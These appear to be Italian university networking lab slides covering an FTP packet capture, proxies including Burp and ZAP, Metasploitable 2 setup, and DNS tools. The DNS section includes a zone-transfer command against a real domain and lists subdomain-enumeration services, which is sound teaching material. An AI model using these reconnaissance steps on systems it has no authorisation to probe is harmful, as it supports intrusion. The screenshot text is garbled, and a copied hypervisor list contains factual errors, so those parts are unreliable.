			631 14.310240	mfausto.amministra…	193.205.92.110	FTP	60 Request: QUIT		
			633 14.310492	193.205.92.110	mfausto.amministr	az… FTP	68 Response: 221 Goodbye.		
		> I > T > F	nternet II, SrC: V nternet Protocol V ransmission Contro ile Transfer Proto	/ersion 4, Src: 193.20 Protocol, Src Port: Docol (FTP)	ftp (21), Dst Por	: mrausto.a 92.110), D: t: nvmsgd	amministrazione.unicam (do:50:e0:00:e0:0 st: mfausto.amministrazione.unicam (193.2 (3519), Seq: 1, Ack: 1, Len: 20) 05.92.108)	
			Current working di	rectory:]					
		000	0 d8 50 e6 0a e6	1d 00 0c 29 ec 3f 42	08 00 45 00 ·P·	····)·?B·	· · E ·		
		001	00 3c 7a 24 40	00 40 06 84 22 c1 cd	5c 6e c1 cd →≺z	\$@·@· ·́"··\	\n · ·		
		0020	0 5c 6c 00 15 0d	bf <mark>8b 3e 6f</mark> f4 2c 30	5e bf 50 18 \l·	···· <u>·> o</u> ·,0′	^ · P ·		
		0030	0 00 b7 81 86 00	00 32 32 30 20 28 76	73 46 54 50	···· <mark>22 0</mark> (vs	sFTP		
		0040	0 64 20 32 2e 33	2e 34 29 0d 0a	d 2	.3.4) ··			
12/10)/2023	0	wireshark_Ethernet	_20191028092625_a14680.pc	_{apng} copyrigh	t Marcar	1toni 🏳 austoti: 724 · visualizzati: 14 (1.9%) · scarta	ati: 0 (0.0%) Pro	filo: Default

_ *	Ethernet									
	Ethernet							—		×
File	Modifica Visualiz	za Vai Cattura Analizz	a Statistiche Telefonia	Wireless Strun	menti Aiuto					
4	I 🖉 🛞 📙 🔚	🗙 🔂 🍳 👄 🔿 😂	🗿 🌡 📃 🔳 🔍 Q	⊜, ₩						
ftr				•			X	Esp	ressione	. +
No.	Time	Source	Destination	Protocol Leng	gth Info					
	110 2.260368	193.205.92.110	mfausto.amministraz	FTP	74 Response: 22	0 (vsFTPd 2	.3.4)			
	112 2.263148	mfausto.amministra	193.205.92.110	FTP	68 Request: OPT	S UTF8 ON				
	116 2.263297	193.205.92.110	mfausto.amministraz	FTP	80 Response: 20	0 Always in	UTF8 mode.			
	334 6.456316	mfausto.amministra	193.205.92.110	FTP	70 Request: USE	R anonymous				
	336 6.456624	193.205.92.110	mfausto.amministraz	z FTP	oo kesponse: 55	i Please sp	cify the pass	ord.		
	416 8.825462	mfausto.amministra	193.205.92.110	FTP	64 Request: PAS	S xxx				
	418 8.826077	193.205.92.110	mfausto.amministraz	I FTP	77 Response: 23	0 Login suc	tessful.			
	519 11.902120	mfausto.amministra		FTP	82 Request: POR	T 193,205,9	2,108,13,192			
	521 11.902345	193.205.92.110	mfausto.amministraz	2 FIP 1	105 Response: 20	0 PORI comma	and successful	Consid	er usin	g PA
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Tutto in ASCII



Installare ftp server in windows/linux

How to set up an FTP server in Windows 10 http://techgenix.com/ftp-server-windows-10/

Download FileZilla Server for Windows https://filezilla-project.org/download.php?type=server

8 Best Free FTP Server Software https://www.lifewire.com/windows-ftp-servers-free-817577

Best Linux FTP Client: Top 10 Reviewed for Linux Geeks

https://www.ubuntupit.com/best-linux-ftp-client-top-10-reviewed-for-linux-geeks/

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server proxy

Un server proxy (detto anche «server mandatario») è all'origine un terminale che svolge la funzione di intermediario tra i computer di una rete locale (che usa talvolta dei protocolli diversi dal protocollo TCP/IP) e internet.



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http proxy

La maggior parte delle volte il server proxy è usato per il web, si tratta allora di un proxy HTTP. Tuttavia possono esistere dei server proxy per ogni protocollo applicativo (FTP,...).



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Il principio di funzionamento di un proxy

Il principio di funzionamento basico di un server proxy è abbastanza semplice:

si tratta di un server "comandato" da un'applicazione per effettuare una richiesta su internet al suo posto.

Così, quando un utente si connette a internet tramite un'applicazione client configurata per usare un server proxy, questa si connetterà in primo luogo al server proxy e gli darà la sua richiesta. Il server proxy si connetterà allora al server che l'applicazione client cerca di raggiungere e gli trasmetterà

la sua richiesta.

Il server risponderà in seguito al proxy, che a sua volta trasmetterà la risposta all'applicazione client.



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La funzione di cache

La maggior parte dei proxy assicura anche una **funzione di cache**: la capacità di mantenere in "memoria" le pagine visitate più di frequente dagli utenti della rete locale per poterle fornire il più rapidamente possibile.

"cache" - spazio di stoccaggio temporaneo

Questa funzionalità implementata in alcuni server proxy permette da una parte di **ridurre l'uso della banda passante** verso internet e dall'altra di **ridurre i tempi di accesso** per gli utenti ai documenti.

Tuttavia, per arrivare a questo risultato, è necessario che il proxy paragoni regolarmente i dati della memoria cache con quelli remoti per assicurarsi che i dati in cache siano sempre validi.

Il filtraggio

D'altra parte, grazie all'utilizzo di un proxy, è possibile assicurare il controllo delle connessioni mediante la costituzione di file di log: che registrano sistematicamente le richieste degli utenti ad una loro richiesta di connessione a internet.

E' quindi possibile filtrare le connessioni internet analizzando da una parte le richieste dei client, e dall'altra le risposte dei server. Quando il filtraggio è realizzato paragonando la richiesta del client ad una lista di richieste autorizzate, si parla di **lista bianca**, se invece si tratta di una lista di siti vietati si parla allora di **lista nera**. Infine l'analisi delle risposte dei server seguendo una lista di criteri (parole chiave,...) è detta **filtraggio di contenuto**.



L'autentificazione

Dato che il proxy è l'intermediario indispensabile degli utenti della rete interna per accedere a delle risorse esterne, è a volte possibile usarlo per **autentificare gli utenti**. Sarà quindi facile dare l'accesso alle risorse esterne solo alle persone autorizzate a farlo e di poter registrare nei file di log degli accessi identificati.

Questo tipo di meccanismo, una volta realizzato, pone ovviamente numerosi problemi relativi **alle libertà individuali e ai diritti delle persone**...



l reverse-proxy

Viene detto reverse-proxy un server proxy-cache "montato al contrario";

un server proxy che permette agli utenti di internet di accedere indirettamente ad alcuni server interni.

Il reverse-proxy serve anche da collegamento per gli utenti internet che desiderano accedere ad un sito web interno trasmettendogli indirettamente le richieste. Grazie al reverse-proxy, il **server web è protetto** dagli attacchi diretti dall'esterno, cosa che rinforza la sicurezza della rete interna. D'altra parte, la funzione di cache del reverse-proxy può alleggerire il carico del server per cui è previsto, ed è la ragione per cui un server simile è talvolta detto » acceleratore « (*server accelerator*). Il reverse-proxy può servire per ripartire il carico reindirizzando le richieste verso diversi server equivalenti; si parla allora **di ripartizione del carico** (in inglese **load balancing**).



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trasparent proxy

La funzione del **Transparent Proxy** è **quella di intercettare ogni richiesta di un particolare servizio** (in questo caso richiesta *HTTP*) per poi redirigerla a un proxy affinchè svolga tutte le funzioni del caso (semplice **content filtering piuttosto che caching**).



Browser – Server HTTP

Nell'architettura TCP/IP il browser e il server Web comunicano direttamente a livello di applicazione senza alcuna intermediazione



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Browser – Proxy - Server HTTP

Il proxy s'inserisce nell'architettura TCP/IP come livello di applicazione fra il client e il server sostituendo uno dei due host in tutte le transazioni server HTTP che coinvolgono l'altro host



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Configurazione dei Client

I client devono essere configurati per poter utilizzare il Proxy Server.

Configurazione Manuale

L'utente dovrà inserire nel browser l'indirizzo IP e la porta su cui il proxy è in ascolto

□ Auto-Configurazione del Proxy

Il browser esegue un Javascript. L'utente deve indicare al browser dove risiede lo script.

□ Web Proxy Auto Discovery (WPAD)

- Nessuna configurazione necessaria, è il traffico di rete ad essere direttamente indirizzato al proxy
- DHCP, SLP (Service Location Protocol), DNS

squid proxy



installare (<u>http://www.squid-cache.org/</u>)
 attivare/provare
 monitorare (SquidAnalyzer, Calamaris, ...)
 filtrare (SquidGuard, DansGuardian, ...)

https://squid.diladele.com/

WEB PROXY FOR WINDOWS

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fiddler proxy

Telerik Fiddler

https://www.telerik.com/fiddler

The free web debugging proxy for any browser, system or platform

Download Fiddler Classic

How do you plan to use Fiddler?	~
Your email	
Country/Territory	
Select	~
I accept the Fiddler End User License Agreement	
Download for Windows	
By optoring your information, you unlock overy feature	200 020
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By entering your information, you unlock every feature get help with installation and quick-start resources. All in	and can formation

Need Fiddler Everywhere for Mac or Linux?

Try the new Fiddler Everywhere. Built from scratch to run on all major platforms.

Download Fiddler Everywhere

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fiddler proxy

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Privacy e sicurezza	Configurazione manuale dei proxy Proxy HTTP 127.0.0.1		<u>P</u> orta	8888					
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Estensioni e temi					~				
② Supporto per Firefox	copyright Marcantoni Fausto	OK A	nnulla	1	đ	4			

owasp zap proxy



owasp zap proxy

https://www.owasp.org/index.php/OWASP Zed Attack Proxy Project

OWASP Zed Attack Proxy (ZAP)

The world's most popular free web security tool, actively maintained by a dedicated international team of volunteers.

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owasp zap proxy



https://www.zaproxy.org/docs/

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Burp Suite proxy



Burp Suite Community Edition

https://portswigger.net/burp

Professional Stable 15 September 2021 at 13:48 UTC	/ Coi	mmunity 202	21.8.3			y 0 F 🚳 in 💙
Burp Suite Community Edition We have updated Burp Suite's e classified as High.	v embedded b	Windows (64-bit)	✓93.0.4577.82, which f	Download	show check	sums which Google has
¥ Twitter Usage of this software is subje	WhatsAp	p. Facebook	ල් Redo	IR	in LinkedIn	Email

https://computerscience.unicam.it/marcantoni/tesi/Scansione%20ed%20Analisi%20Di%20Vulnerabilita%20Case%20study%20Burp%20Suite.pdf

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Burp Suite proxy

Support Center » Documentation » Desktop editions

Professional Community

Burp Suite documentation: desktop editions

Burp Suite contains a wealth of features and capabilities to support manual and automated security testing. Use the links below for more information.

How do I?

Get started with Burp Suite » Scan a website » Use Burp Suite for penetration testing » Test mobile applications » Extend Burp Suite's capabilities » Troubleshoot a problem »

Reference

The Burp Suite dashboard » Burp Suite tools » Useful functions » Options » Full documentation contents »

https://portswigger.net/burp/documentation/desktop

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FINE



12/10/2023

SMTP



12/10/2023

Laboratorio

installare e configurare un client SMTP Windows e Linux

https://www.mozilla.org/it/thunderbird/

http://www.navigaweb.net/2009/11/client-di-posta-email-outlook-per.html

https://support.office.com/it-it/article/Configurare-la-posta-elettronica-in-Posta-per-Windows-10-7ff79e8b-439b-4b47-8ff9-3f9a33166c60

Laboratorio

installare un server SMTP in linux https://www.0x90.it/installare-mail-server-ubuntu-14-04/ https://www.digitalocean.com/community/tutorials/how-to-install-postfix-on-centos-6

installare un server SMTP in Windows <u>https://msdn.microsoft.com/it-it/library/8b83ac7t(v=vs.100).aspx</u> <u>https://social.msdn.microsoft.com/Forums/vstudio/en-US/ad9e940b-fe29-49fc-9bc4-</u> <u>6e572d505b2f/how-to-install-and-configure-smtp-server-in-windows-</u> <u>7?forum=csharpgeneral</u>

Zimbra fornisce software per server e client open source per messaggeria e collaborazione. <u>https://www.zimbra.com/</u>

Webmin is a web-based interface for system administration for Unix. <u>http://www.webmin.com/</u>

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Laboratorio Server

Windows Server Evaluation (180 days) https://www.microsoft.com/it-it/evalcenter

Ubuntu Mate

https://www.ubuntu-it.org/download/derivate

CentOS 8 https://www.centos.org/download/

Debian 10 https://www.debian.org/distrib/index.it.html

- •<u>AlmaLinux</u>
- •<u>Rocky Linux</u>
- •<u>Ubuntu Server</u>
- •Oracle Linux
- •Debian
- •Fedora Server
- •<u>OpenSUSE</u>

smtp



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Virtual Machine



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Virtual Machine

Che cos'è una macchina virtuale?

Una macchina virtuale è **un file di computer**, chiamato in genere immagine, che si comporta come un vero computer. In altre parole, si tratta di **creare un computer all'interno di un computer**. Viene eseguito in una finestra, come qualsiasi altra applicazione, e offre all'utente finale la stessa esperienza fornita dal sistema operativo host stesso. La macchina virtuale è isolata dal resto del sistema in modo che il software al suo interno non possa fuoriuscire o interagire con il computer stesso. Si tratta quindi di un ambiente ideale per testare altri sistemi operativi e versioni beta, accedere a dati infettati da virus, creare backup di sistemi operativi ed eseguire software o applicazioni in sistemi operativi diversi da quelli originariamente supportati.

È possibile eseguire contemporaneamente più macchine virtuali nello stesso computer fisico. Per i server, i vari sistemi operativi vengono eseguiti in modalità affiancata grazie a un software, chiamato hypervisor, che li gestisce, mentre in genere per i computer desktop viene usato un solo sistema operativo che esegue gli altri sistemi all'interno delle finestre del programma. Ogni macchina virtuale ha il suo hardware virtuale, che include CPU, memoria, unità disco rigido, interfacce di rete e altri dispositivi. L'hardware virtuale viene quindi mappato all'hardware reale nel computer fisico per ridurre i costi relativi ai sistemi hardware fisici necessari e i costi di gestione associati, oltre a ridurre la domanda di alimentazione e raffreddamento.

https://azure.microsoft.com/it-it/overview/what-is-a-virtual-machine/

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The Top Open-Source Hypervisor Technologies



https://slashdot.org/software/hypervisors/

https://wire19.com/comparison-top-server-virtualization-software/

https://opensourceforu.com/2016/03/the-top-open-source-hypervisor-technologies/

https://www.how2shout.com/tools/8-free-best-open-source-bare-metal-hypervisors-foss.html

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List of Best Open Source Hypervisors

1. Xen:

Xen is among the most popular open-source hypervisors in the present era, and it also comes with a commercial version of Citrix and Oracle VM. Moreover, since XEN gets cloud support, it is widely prevalent among all business enterprises.

2. Linux KVM:

If you are looking for hypervisors for Linux, kernel-based Linux is among the best. It has a kernel module KVM ko which is a loadable kernel, and it can guickly turn the Linux kernel into a hypervisor. The Linux KVM belongs to the type 2 hypervisors because of the involvement of the kernel.

3. Microsoft Hyper V:

Microsoft Hyper V is a free hypervisor you can download easily from the net and use. It is an open-source application. The primary aim of the Microsoft Hyper V was to compete with the other open-source hypervisors. It is one of the best free hypervisors as it is a standalone software and includes all the features of Windows Server 2012.

4. VMware Free ESXi:

VMware ESXi is free software that you can download easily from the net. The benefit of using open-source software is that you can customize it according to your requirement. Hence, it is pretty popular among users.

5. Guest:

Guest is a lightweight hypervisor that is built into the Linux kernel. The software is apt to develop and test the kernel boot. Moreover, the functioning of the software is also interesting and exciting. During initialization, the Guest allocates memory and maps it to the kernel's address space, and it loads a small hypervisor in this allocated memory.

6. Oracle VirtualBox:

The Oracle VirtualBox is a type 2 hypervisor that you can run on any operating system, such as Solaris, Linux, Mac, and Windows. It is also compatible with both x86 and x64 operating systems. One of the benefits of using the Oracle VirtualBox is that it is pretty portable. It also allows virtual machines to be imported or exported using the Open Virtualization Format (OVF). It is one of the prominent features of this product.

7. Xvisor:

The Xvisor provides virtualization to various types of architectures. You can guickly transfer its code to most 32 and 64-bit architectures until they have PMMU.

8. VMware Workstation Player:

The VMware Workstation Player is a type 2 open-source hypervisor. It is one of the ideal software that can find a place in any enterprise, and it is because the software is simple and easy to use. The VMware Workstation Player is ideal for running and evaluating operating systems and applications on a virtual machine with either Linux or Windows.

9. OpenVZ:

OpenVZ is open-source container-based virtualization specially created for Linux. It also can create as many virtual machines as possible in a Linux container. Hence, it becomes easy for the admin to use each container as an individual server, and you can reboot without any hassles on the same physical server.

10. SmartOS:

The SmartOS is based on Linux's Kernel-based Virtual Machine Virtualization technology. You can easily download the VM hypervisor free from the net. One of the significant advantages of using the SmartOs is that anyone can use them according to their convenience. copyright Marcantoni Fausto

Top 10 Virtualization SoftwareVirtualization Systems

Comparison Table

https://www.softwaretestinghelp.com/virtualization-software/

#1) SolarWinds Virtualization Manager #2) Parallels Desktop #3) V2 Cloud #4) VMware Fusion **#5)** Oracle VM Virtual Box #6) VMware Workstation **#7) QEMU #8) Windows Virtual PC** #9) Microsoft Hyper-V **#10)** RedHat Virtualization #11) Veertu for Mac #12) Boot Camp

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https://www.youlicense.com/virtualbox-vs-vmware-comparison/





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🙆 Ubu	untu 22.04 LTS - Imp	ostazioni		?	×
	Generale	Rete			
	Sistema	Scheda 1 Scheda 2	Scheda 3 Scheda 4		
	Schermo	Abilita scheda di rete			
	Archiviazione	Connessa a: S	Scheda con bridge		
	Audio	Nome: C	Qualcomm Atheros AR9485WB-EG Wireless Network Adapter		-
	Rete	Tipo di scheda: I	intel PRO/1000 MT Desktop (82540EM)		· •
	Porte seriali	Modalità promiscua: 🕅	Nega		•
	USB	Indirizzo MAC:	0800274DAC6D		6
	Cartelle condivise	I	Cavo connesso Inoltro delle porte		
1	Interfaccia utente	-			
			OK Annulla	Ai	iuto

Oracle VM VirtualBox Extension Pack

Free for personal, educational or evaluation use under the terms of the VirtualBox Personal Use and Evaluation License on Windows,

For use with Version 7.0.10 only All Platforms (Windows, Mac OS X, Solaris and Linux)	Platform	File
	For use with Version 7.0.10 only All Platforms (Windows, Mac OS X, Solaris and Linux)	7.0.10 ExtPack

Depending on your browser, you may need to right click and "Save As..." this file.

You might want to compare the SHA256 checksum or the MD5 checksum to verify the integrity of downloaded packages.



Metasploitable 2

RAPID

Help | Metasploit

Find your answer here

Search

WELCOME

Getting Started

Metasploit Pro Features

Metasploit Basics

Using the Metasploit Web Interface

Quick Start Guide

Setting Up a Vulnerable Target 🜱

Metasploitable 2

Metasploitable 2 Exploitability Guide Getting Support

Submitting a Request for

Metasploitable 2

A test environment provides a secure place to perform penetration testing and security research. For your test environment, you need a Metasploit instance that can access a vulnerable target. The following sections describe the requirements and instructions for setting up a vulnerable target.

Downloading and Setting Up Metasploitable 2

The easiest way to get a target machine is to use Metasploitable 2, which is an intentionally vulnerable Ubuntu Linux virtual machine that is designed for testing common vulnerabilities. This virtual machine is compatible with VMWare, VirtualBox, and other common virtualization platforms.

Metasploitable 2 is available at:

https://metasploit.help.rapid7.com/docs/metasploitable-2

>

Metasploitable 2 - VMWARE





Description

This is Metasploitable2 (Linux)Metasploitable is an intentionally vulnerable Linux virtual machine. This VM can be used to conduct security training, test security tools, and practice common penetration testing techniques. The default login and password is msfadmin:msfadmin. Never expose this VM to an untrusted network (use NAT or Host-only mode if you have any questions what that means). To contact the developers, please send email to msfdev@metasploit.com 12/10/2023

Virtual Machine Details

 State:
 Powered off

 Configuration file:
 C:\Users\fausto.mfausto\Desktop\Virtual

 Machines\Metasploitable2-Linux\Metasploitable.vmx

 Hardware compatibility:
 Workstation 15.x virtual machine

 Primary IP address:
 Network information is not available

Metasploitable 2 – VirtualBox

🧕 Generale	📃 Anteprima
Nome: Metasploitable 2 Sistema operativo: Ubuntu (32-bit) Posizione del file delle impostazioni: C:\Users\fausto.mfausto\VirtualBox VMs\Metasploitable 2	
I Sistema	
Memoria di base: 512 MB Ordine di avvio: Floppy, Ottico, Disco fisso Accelerazione: VT-x/AMD-V, Paginazione nidificata, PAE/NX, Paravirtualizzazione KVM	Metasploitable 2
Schermo	
Memoria video: 16 MB Scheda grafica: VBoxVGA Server di desktop remoto: Disabilitato Registrazione: Disabilitata	
Archiviazione	
Controller: IDE Controller: SCSI Porta SCSI 0: Metasploitable2-Linux-disk1.vdi (Normale, 8,00 GB)	
🕪 Audio	
Driver host: Windows DirectSound Controller: ICH AC97	
Rete	
Scheda 1: PCnet-PCI II (Scheda con bridge, Realtek PCIe GbE Family Controller) Scheda 2: PCnet-PCI II (Scheda solo host, 'VirtualBox Host-Only Ethernet Adapter')	
🖉 USB	
Controller USB: OHCI Filtri dispositivi: 0 (0 attivo)	
Cartelle condivise	
Nessuna	
Descrizione	
This is Metasploitable 2 (Linux) Metasploitable is an intentionally vulnerable Linux virtual machine. This VM can be used to conduct secur common penetration testing techniques. The default login and password is msfadmin:msfadmin. Never expose this VM to an untrusted network (use NAT or Host-only mode if you have any questions w To contact the developers, please send email to msfdev@metasploit.com	ity training, test security tools, and practice hat that means).
copyright Marcantoni Faust	0

Scaricare l'ultima versione della iso di Ubuntu

ubuntu	Q	
Tutti Notizie Immagini Video Libri Altro	Impostazioni Strumenti	
Circa 141.000.000 risultati (0,27 secondi) Homepage Ubuntu Italia https://www.ubuntu-it.org/ → Ubuntu-it è la comunità italiana di Ubuntu. È organizzata in diversi gr comunità, ciascuno dedicato ad un obiettivo diverso, Risultati di ubuntu-it.org Download Download derivate - Richiedi CD - News	ruppi, coordinati dal Consiglio della Q gratuito per Ubuntu è online. La comunità	
	Fai clic s [sul pulsante arancione per scaricare l'ultima versione di Ubuntu. Dovrai creare un DVD o una <mark>pennetta USB</mark> per installarlo.
	Se hai (dei dubbi in merito alla scelta fra 32bit e 64bit consulta <mark>questa pagina</mark> .
	Le versioni non LTS sono supportate per nove mesi e garantiscono tutte le novità più recenti. Le versioni LTS (long-term support) offrono invece aggiornamenti per cinque anni: l'ideale per chi ha bisogno di maggiore stabilità.	Configura il tuo download! Ubuntu 18.04.1 LTS 64bit Desktop Download tramite torrent
3	copyright Marcanto	oni Fausto

Avvia il download

Scarica la versione selezionata.

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Google
Caratteristiche VM

lardware Options		Senerale Anteprima
opuons		Sistema operativo: Ubuntu (64-bit) Sistema
Device	Summary	Memoria di base: 2048 MB Ordine di avvio: Floppy, Ottico, Disco fisso Accelerazione: VT-x/AMD-V, Paginazione nidificata, Paravirtualizzazione KVM
Memory	2 GB	Schermo
Processors	2	Memoria video: 16 MB Server di desktop remoto: Disabilitato Acquisizione video: Disabilitata
🔚 Hard Disk (SCSI)	20 GB	S Archiviazione
CD/DVD (SATA)	Using file D:\ISO\ubuntu-18.04	Controller: IDE IDE master secondario: [Lettori ottici] Vuoto Controller: SATA
🖳 Network Adapter	Bridged (Automatic)	Porta SATA 0: ubuntu.vdi (Normale, 20,00 GB)
🚭 USB Controller	Present	Driver host: Windows DirectSound Controller: ICH AC97
Sound Card	Auto detect	Rete
Duinten	Desert	Scheda 1: Intel PRO/1000 MT Desktop (Scheda con bridge, Realtek PCIe GbE Family Controller)
Frinter	Present	Controller USB: OHCI
📃 🛄 Display	Auto detect	Filtri dispositivi: 0 (0 attivo)
		Nessuna
		Descrizione
		Nessuna



Virtual Machine





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FINE

dns



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DNS - dig - nslookup

0			T	erminal	$\odot \odot \otimes$	Amministratore: Prompt dei comandi - pslookup
File Edit View Search	n Termina	l Help				
root@studente:~# dig					*	
; <<>> DiG 9.16.15-De ;; global options: +c ;; Got answer: ;; ->>HEADER<<- opcod ;; flags: qr rd ra; Q	bian <>> md WERY, WERY: 1,	status ANSWER:	: NOERROP 13, AUTH	t, id: 56267 HORITY: 0, ADDITIONAL: 27	1	C:\Users\fausto.mfausto>nslookup Server predefinito: GALADRIEL.amministrazione.unicam Address: 193.204.8.33
;; OPT PSEUDOSECTION: ; EDNS: version: 0, f	lags:; ud	p: 4000				>
;; QUESTION SECTION: ;.		IN	NS			
;; ANSWER SECTION:						
	78854	IN	NS	d.root-servers.net.		
	78854	IN	NS	a.root-servers.net.		
	78854	IN	NS	e.root-servers.net.		
	78854	IN	NS	g.root-servers.net.		
	78854	IN	NS	m.root-servers.net.		
	78854	IN	NS	c.root-servers.net.	0	
	78854	IN	NS	h.root-servers.net.		
-	78854	IN	NS	k.root-servers.net.		
	78854	IN	NS	l.root-servers.net.		
-	78854	IN	NS	j.root-servers.net.		
	78854	IN	NS	f.root-servers.net.		
	78854	IN	NS	b.root-servers.net.		
	78854	IN	NS	i.root-servers.net.		
;; ADDITIONAL SECTION	1:					
d.root-servers.net.	73738	IN	A	199.7.91.13		
d.root-servers.net.	73738	IN	AAAA	2001:500:2d::d		
a.root-servers.net.	73738	IN	A	198.41.0.4		
a.root-servers.net.	73738	IN	AAAA	2001:503:ba3e::2:30		
e.root-servers.net.	73738	IN	A	192.203.230.10		
e.root-servers.net.	73738	IN	AAAA	2001:500:a8::e	*	

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Laboratorio Windows

Visualizzare il contenuto della cache DNS

ipconfig /displaydns

Cancellare il contenuto della cache DNS?

ipconfig /flushdns

Indagare sui nomi degli host

nslookup

Cambiare server di riferimento

Associare l'indirizzo 193.205.92.119 all'host www.unicam.it

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Laboratorio Windows

Windows

nslookup	[ip-address]
nslookup	-query=mx [website-name]
nslookup	-query=ns [website-name]
nslookup	-query=soa [website-name]
nslookup	-query=any [website-name]
nslookup	
> server	[server-name, server-ip]

C:\Users\fausto.mfausto>nslookup

Server predefinito: GALADRIEL.amministrazione.unicam Address: 193.204.8.33

```
> set type=NS
```

```
> unicam.it
```

Server: GALADRIEL.amministrazione.unicam Address: 193.204.8.33

Risposta da un	server non autorevole:
unicam.it	<pre>nameserver = camcic.unicam.it</pre>
unicam.it	nameserver = ns1.garr.net
unicam.it	<pre>nameserver = ns2.unicam.it</pre>

camcic.unicam.i	t	internet	a	ddress	=	193.2	04.	8.13
ns1.garr.net	internet	address	=	193.2	06	.141.3	8	
ns2.unicam.it	internet	address	=	131.1	75	.200.2	2	

```
>
```

	Parametro di nslookup	Tipo di query
	А	Indirizzo IPv4
	АААА	Indirizzo IPv6
	МХ	Mail server del/i nome/i di dominio (Mail Exchanger)
	NS	Name server del nome di dominio
	PTR	Record "Pointer" (mostra il/i nome/i host di un indirizzo IP)
copyright Marcantoni Fa	usto	Record "Start of Authority" (indicazioni sulla gestione della zona DNS)

Powershell

Get-DnsClient

Get-DnsClientCache

Clear-DnsClientCache

Laboratorio Linux

Linux

dig	unicam.it			
dig	google.it	+sh	lort	:
dig	unicam.it	-t	mx	+short
dig	unicam.it	-t	ns	+short
dig	axfr unica	m.i	Lt	

FT		studen	te@server	-IRS: ~	Q	III		×
tudente@server-IRS:-	\$ dig unio	cam.it	-t ns					
<<>> DiG 9.18.1-1ul	ountu1.2-U	buntu <	<>> unic	am.it -t ns				
; global options: +o	cmd							
; Got answer:								
; ->>HEADER<<- opcod	de: QUERY,	status	: NOERRO	R, id: 58461				
; flags: qr rd ra; (QUERY: 1, /	ANSWER:	3, AUTH	ORITY: 0, ADD	ITION	IAL:	4	
: OPT PSEUDOSECTION	1							
EDNS: version: 0. 1	flags:: udr	D: 6549	4					
: OUESTION SECTION:								
unicam.it.		IN	NS					
; ANSWER SECTION:								
nicam.it.	2347	IN	NS	ns1.garr.n	et.			
nicam.it.	2347	IN	NS	ns2.unicam	.it.			
nicam.it.	2347	IN	NS	camcic.uni	cam.i	.t.		
; ADDITIONAL SECTION	۷:							
s1.garr.net.	24247	IN	А	193.206.14	1.38			
s2.unicam.it.	2347	IN	A	131.175.20	0.22			
amcic.unicam.it.	3293	IN	А	193.204.8.	13			
; Query time: 0 msec	<u> </u>							
; SERVER: 127.0.0.53	3#53(127.0	.0.53)	(UDP)					
; WHEN: Tue Oct 18	11:36:12 CI	EST 202	2					
; MSG SIZE rcvd: 1	51							
tudente@server-IRS:	Ş							
copyright Marcantoni Fa	usto							

Installazione di PowerShell in Ubuntu

```
# Update the list of packages
sudo apt-get update
# Install pre-requisite packages.
sudo apt-get install -y wget apt-transport-https software-properties-common
# Download the Microsoft repository GPG keys
wget -q "https://packages.microsoft.com/config/ubuntu/$(lsb_release -rs)/packages-microsoft-prod.deb"
# Register the Microsoft repository GPG keys
sudo dpkg -i packages-microsoft-prod.deb
# Update the list of packages after we added packages.microsoft.com
sudo apt-get update
# Install PowerShell
sudo apt-get install -y powershell
# Start PowerShell
pwsh
                                                                                      Q E
                                                                  studente@server-IRS: ~
                                            studente@server-IRS:~S pwsh
                                            PowerShell 7.2.6
                                            Copyright (c) Microsoft Corporation.
                                            https://aka.ms/powershell
                                            Type 'help' to get help.
  Powershell
                                            PS /home/studente>
  Get-DnsClient
  Get-DnsClientCache
  Clear-DnsClientCache
  12/10/2023
```

Laboratorio Linux

dig(1) - Linux man page

Name

dig - DNS lookup utility

Synopsis

dig [@server] [-b address] [-c class] [-f filename] [-k filename] [-m] [-p port#] [-q name] [-t type] [-x addr] [-y [hmac:]name:key] [-4] [-6] [name] [type] [class] [queryopt...]

dig [-h] dig [global-queryopt...] [query...]

Description

dig (domain information groper) is a flexible tool for interrogating DNS name servers. It performs DNS lookups and displays the answers that are returned from the name **server**(s) that were queried. Most DNS administrators use **dig** to troubleshoot DNS problems because of its flexibility, ease of use and clarity of output. Other lookup tools tend to have less functionality than **dig**.

dig google.com dig @8.8.8.8 google.com dig @8.8.8.8 google.com MX dig -x 193.205.92.119 dig google.com +trace dig google.com +short dig -f query.txt +short dig google.com ANY

Search For Record Type Reverse DNS Lookup Trace DNS Path

Query All DNS Record Types

https://www.rootusers.com/12-dig-command-examples-to-query-dns-in-linux/

12/10/2023

× Amministratore: Prompt dei comandi _ C:\Users\fausto.mfausto>nslookup Server predefinito: GALADRIEL.amministrazione.unicam Address: 193.204.8.33 > www.unicam.it Server: GALADRIEL.amministrazione.unicam Address: 193.204.8.33 www.unicam.it Nome: Address: 172.16.0.171 perché? > server 8.8.8.8 Server predefinito: dns.google Address: 8.8.8.8 > www.unicam.it Server: dns.google Address: 8.8.8.8 Risposta da un server non autorevole: Nome: web2.unicam.it Address: 94.177.192.171 Aliases: www.unicam.it > exit C:\Users\fausto.mfausto>

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DNS Enumeration

DNS enumeration is the process of locating all the DNS servers and their corresponding records for an organization. DNS enumeration will yield usernames, computer names, and IP addresses of potential target systems. The list of DNS record provides an overview of types of resource records (database records) stored in the zone files of the Domain Name System (DNS). The DNS implements a distributed, hierarchical, and redundant database for information associated with Internet domain names and addresses.



https://dnsdumpster.com/ 12/10/2023

Find Subdomains Report (Light)

Get a PRO Account to unlock the FULL capabilities of this scanner									
See what the FULL scanner o	See what the FULL scanner can do								
Discover more subdomains with additi	onal subdomain	discovery techniq	ues.						
Technique	Light scan	Full scan							
DNS records (NS, MX, TXT, AXFR)	 Image: A second s	×							
DNS Enumeration	×	¥							
Certificate Transparency Logs	×	×							
HTML links	×	×							
SSL certificates	×	×							
Google and Bing search	×	×							
Project Sonar (Rapid7)	×	×							
Reverse DNS enumeration	×	×							

https://pentest-tools.com/informationgathering/find-subdomains-of-domain

SecurityTrails	🕵 unicam.it 🔍	Login Signup for Free
DOMAIN	unicam.it DNS records	
S DNS Records	A records	AAAA records
⊕ Historical Data ■	NO RECORDO	NO RECORDO
III Subdomains (896)		
Sign up for an API key n	MX records	NS records
	10 aspmx3.googlemail.com (5.234.134)	dns.cineca.it 238
	10 aspmx2.googlemail.com 5.959.600	camcic.unicam.it
	5 alt2.aspmx.l.google.com (12.186.991)	
	5 alt1.aspmx.l.google.com (12.268.240)	
	1 aspmx.l.google.com 12.528.427	
	SOA records	тхт 🦻

https://securitytrails.com/

DNS Enumeration - on line

https://dnsdumpster.com/

https://www.nmmapper.com/sys/tools/subdomainfinder/

https://pentest-tools.com/information-gathering/find-subdomains-of-domain

https://hackertarget.com/find-dns-host-records/

DNS Enumeration

